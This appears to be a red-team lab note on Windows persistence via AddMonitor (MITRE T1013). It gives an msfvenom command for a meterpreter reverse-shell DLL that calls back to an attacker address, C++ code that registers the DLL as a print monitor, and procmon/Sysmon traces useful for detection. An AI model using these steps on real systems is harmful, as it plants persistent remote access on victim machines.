> For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ired.team/offensive-security/persistence/t1013-addmonitor.md).

# AddMonitor()

## Execution

Generating a 64-bit meterpreter payload to be injected into the spoolsv.exe:

{% code title="attacker\@local" %}

```csharp
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil64.dll
```

{% endcode %}

Writing and compiling a simple C++ code that will register the monitor port:

{% code title="monitor.cpp" %}

```cpp
#include "stdafx.h"
#include "Windows.h"

int main() {	
	MONITOR_INFO_2 monitorInfo;
	TCHAR env[12] = TEXT("Windows x64");
	TCHAR name[12] = TEXT("evilMonitor");
	TCHAR dll[12] = TEXT("evil64.dll");
	monitorInfo.pName = name;
	monitorInfo.pEnvironment = env;
	monitorInfo.pDLLName = dll;
	AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
	return 0;
}
```

{% endcode %}

{% file src="/files/-LIlMq8IlKuLFxhJAmxP" %}
PortMonitor64
{% endfile %}

{% file src="/files/-LIlN3hNJnU6JXFZ1gsG" %}
evil64.dll - meterpreter payload
{% endfile %}

Move evil64.dll to `%systemroot%` and execute the compiled `monitor.cpp`.

## Observations

Upon launching the compiled executable and inspecting the victim machine with procmon, we can see that the evil64.dll is being accessed by the spoolsvc:

![](/files/-LIlSGDVDWgfUuC5qhF1)

![](/files/-LIlTRPWcmMfj4NY1JTf)

which eventually spawns a rundll32 with meterpreter payload, that initiates a connection back to the attacker:

![](/files/-LIlTRPbvKjPvN2WG6VA)

![](/files/-LIlVOJqUhVMxl-EVKGy)

The below confirms the procmon results explained above:

![](/files/-LIlU1xCNn4_OiX-JBKf)

Sysmon commandline arguments and network connection logging to the rescue:

![](/files/-LIlXM5dx_1Wunt8J5W9)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1013>" %}

{% embed url="<https://www.youtube.com/watch?v=dq2Hv7J9fvk>" %}

{% embed url="<https://msdn.microsoft.com/en-us/library/windows/desktop/dd183341(v=vs.85).aspx>" %}

{% embed url="<https://msdn.microsoft.com/en-us/library/windows/desktop/dd145068(v=vs.85).aspx>" %}
